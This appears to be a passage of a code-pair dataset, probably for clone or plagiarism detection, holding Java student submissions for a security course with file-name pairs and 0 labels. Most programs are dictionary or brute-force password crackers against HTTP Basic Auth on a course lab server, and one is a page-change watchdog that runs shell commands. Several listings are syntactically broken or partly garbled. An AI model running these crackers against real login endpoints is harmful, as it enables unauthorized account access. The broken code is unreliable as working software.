Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]); casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]); casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]); casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]); casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]); casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]); casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]); casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]); } else if (candidate.length() > 3) { casedPasswords = new String[8]; String tailCharacters = new String(password, 3, (password.length - 3)); casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; } if(verbose == CrackingConstants.verboseMode2) printPasswords(casedPasswords); return casedPasswords; } private void printPasswords(String [] passwords) { if(passwords.length > 0) { for( i = 0; i < passwords.length; i++) { System.out.print(passwords[i] + "\t"); } System.out.println("\n"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
185.java
161.java
0
import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""; try{ BufferedReader bufr = new BufferedReader (new FileReader ("words1.txt")); String inputLine=""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login=":"+inputLine; ta.setText (fetchURL (s,login)); System.out.println("runing"+login); }while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0); System.out.println("The password is: "+inputLine); } catch(Exception ex){} } public Dictionary() { super ("URL11 Password"); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println ("Invalid URL"); } catch (IOException e) { pw.println ("Error URL"); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, "Enter password", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button ("OK"); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + ":" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
149.java
161.java
0
import java.io.*; class WatchDog { public static void main(String args[]) { if (args.length<1) { System.out.println("Correct Format Filename email address <username@cs.rmit.edu.> of the recordkeeper"); System.exit(1); } while (true) { FileInputStream stream=null; DataInputStream word=null; String input=" "; try { String ls_str; Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students"); try { Thread.sleep(2000); }catch (Exception e) { System.err.println("Caught ThreadException: " +e.getMessage()); } String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "}; ls_proc = Runtime.getRuntime().exec(cmd); try { Thread.sleep(2000); }catch (Exception e) { System.err.println("Caught ThreadException: " +e.getMessage()); } if (ls_proc.exitValue()==2) { System.out.println("The file was checked for first time, email sent"); Process move = Runtime.getRuntime().exec("mv index.html Index2.html"); } else { stream = new FileInputStream ("report.txt"); word =new DataInputStream(stream); if (word.available() !=0) { try { String[] cmd1 = {"//sh","-c","diff Index2.html index.html | mail "+args[0]}; Process proc = Runtime.getRuntime().exec(cmd1); Thread.sleep(2000); Process move = Runtime.getRuntime().exec("mv index.html Index2.html"); Thread.sleep(2000); System.out.println("Difference Found , Email Sent"); } catch (Exception e1) { System.err.println(e1); System.exit(1); } } else { System.out.println(" Differnce Detected"); } } } catch (IOException e1) { System.err.println(e1); System.exit(1); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } try { Thread.sleep(20000); } catch (Exception e) { System.err.println("Caught ThreadException: " +e.getMessage()); } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
034.java
161.java
0
class LoginAttemptResults { private boolean success = false; private int passwordsTried = 0; public LoginAttemptResults() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPasswordsTried ( int inPasswordsTried) { passwordsTried = inPasswordsTried; } public int getPasswordsTried() { return passwordsTried; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
163.java
161.java
0
package java.httputils; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.net.MalformedURLException; import java.sql.Timestamp; import java.util.Observable; public class BruteForce extends Observable { protected Timestamp start; protected Timestamp end; protected String URL = "http://localhost:8080/secret/index.html"; protected String userName = ""; protected String content = ""; protected int attempts = 0; protected String password; protected String fileName; public static final char[] letters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' '}; public BruteForce() { } public void process() { StringBuffer password = new StringBuffer("aaa"); setStart(new Timestamp(System.currentTimeMillis())); for (int i = 0; i < letters.length - 1; password.setCharAt(0, letters[i]), i++) { for (int i2 = 0; i2 < letters.length; password.setCharAt(1, letters[i2]), i2++) { for (int i3 = 0; i3 < letters.length; password.setCharAt(2, letters[i3]), i3++) { try { attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), password.toString().trim()); setPassword(password.toString()); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); if (getFileName() != null && getFileName().length() > 0) { createReport(); } return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } } setEnd(new Timestamp(System.currentTimeMillis())); } public void createReport() { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(printResult().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public String printResult() { StringBuffer s = new StringBuffer(); s.append("** " + this.getClass().getName() + " Results **\n\n"); s.append("Password: " + getPassword() + "\n\n"); s.append("Attempts : " + attempts + "\n\n"); s.append( "Time (seconds): " + (getEnd().getTime() - getStart().getTime()) / 1000 + "\n\n"); s.append("Content: \n" + getContent() + "\n\n"); return s.toString(); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** BruteForce proper usage **\n\n"); s.append( "java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n"); return s.toString(); } public static void main(String[] args) { BruteForce bruteForce = new BruteForce(); if (args.length < 2) { System.out.println(bruteForce.printUsage()); } else { bruteForce.setURL(args[0]); bruteForce.setUserName(args[1]); if (args.length > 2) { bruteForce.setFileName(args[2]); } bruteForce.process(); System.out.println(bruteForce.printResult()); } } public Timestamp getEnd() { return end; } public Timestamp getStart() { return ; } public void setEnd(Timestamp timestamp) { end = timestamp; } public void setStart(Timestamp timestamp) { time = timestamp; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } public String getUserName() { return userName; } public void setUserName(String string) { userName = string; } public String getContent() { return content; } public void setContent(String string) { content = string; } public String getPassword() { return password; } public void setPassword(String string) { password = string; } public String getFileName() { return fileName; } public void setFileName(String string) { fileName = string; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
032.java
161.java
0
import java.awt.*; import java.awt.event.*; import java.io.*; import java.util.*; import java.net.*; public class Dictionary { private String userPassword; private static int counter; public Dictionary(String username) { String user; String password; counter = 0; user = username; try { FileReader fr = new FileReader( "/usr/share/lib/dict/words" ); BufferedReader bf = new BufferedReader( fr ); while ((password = bf.readLine()) != null) { userPassword = user + ":" + password; System.out.print("."); if (password.length() == 3) if (doEncoding(userPassword)== true) { System.out.println(password); return; } counter++; } } catch ( IOException ioe ) { System.err.println( ioe.toString() ); } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1"); uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu."); uc.setRequestProperty ("Authorization", " " + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"); } catch (MalformedURLException e) { System.out.println ("Invalid URL"); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print("Starting the Ditionary Attack at:" + sdate + "\n"); Dictionary bf = new Dictionary(args[0]); Date edate = new Date(); System.out.print("Ditionary Attack ends at:" + sdate + "\n"); System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n"); System.out.print("Attempts in this session:" + counter + "\n"); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
090.java
161.java
0
import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class Dictionary { public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = "HTTP/1.1 200 OK"; int found = 0, count = 0; String testpasswd; try { File inputFile = new File("words"); fr = new BufferedReader(new FileReader(inputFile)); } catch (IOException ex) { ex.printStackTrace(); } stime = System.currentTimeMillis(); System.out.println("Cracking password by Dictionary..."); while (((testpasswd = fr.readLine()) != null) && (found == 0)) { try { URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection yc = yahoo.openConnection(); String authString = ":" + testpasswd; String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty("Authorization", " " + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println("Password found -- " + testpasswd); System.out.println("Time used = " + ((etime - stime)/1000) + " sec"); System.out.println("# of attempt = " + count); System.out.println("End of cracking!"); found = 1; } in.print(); } catch (Exception ex) {} } fr.close(); if (found == 0) { System.out.println("Sorry, password found."); System.out.println("# of attempt = " + count); System.out.println("End of cracking!"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
138.java
161.java
0
import java.io.*; import java.util.Date; import java.jscape.inet.http.*; class BruteForce { public static void main (String args[]) throws Exception { String username = ""; byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122}; byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}; int errorMessage = 401; int firstPosition = 0; int secondPosition = 0; int thirdPosition = 0; int number = 1; int attempts = 0; Http http = new Http(); HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" ); Date startDate = new Date(); for(firstPosition = 0; firstPosition < 26; firstPosition++) { String one = new String (asciiLower, firstPosition, number); String password = one; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 401) { for(firstPosition = 0; firstPosition < 26; firstPosition++) { String one = new String (asciiUpper, firstPosition, number); String password = one; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String password = one + two; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String password = one + two; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if(errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String password = one + two; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String three = new String (asciiLower, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String three = new String (asciiUpper, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String three = new String (asciiLower, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String password = one + two; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String three = new String (asciiUpper, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String three = new String (asciiUpper, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiLower, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String three = new String (asciiLower, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 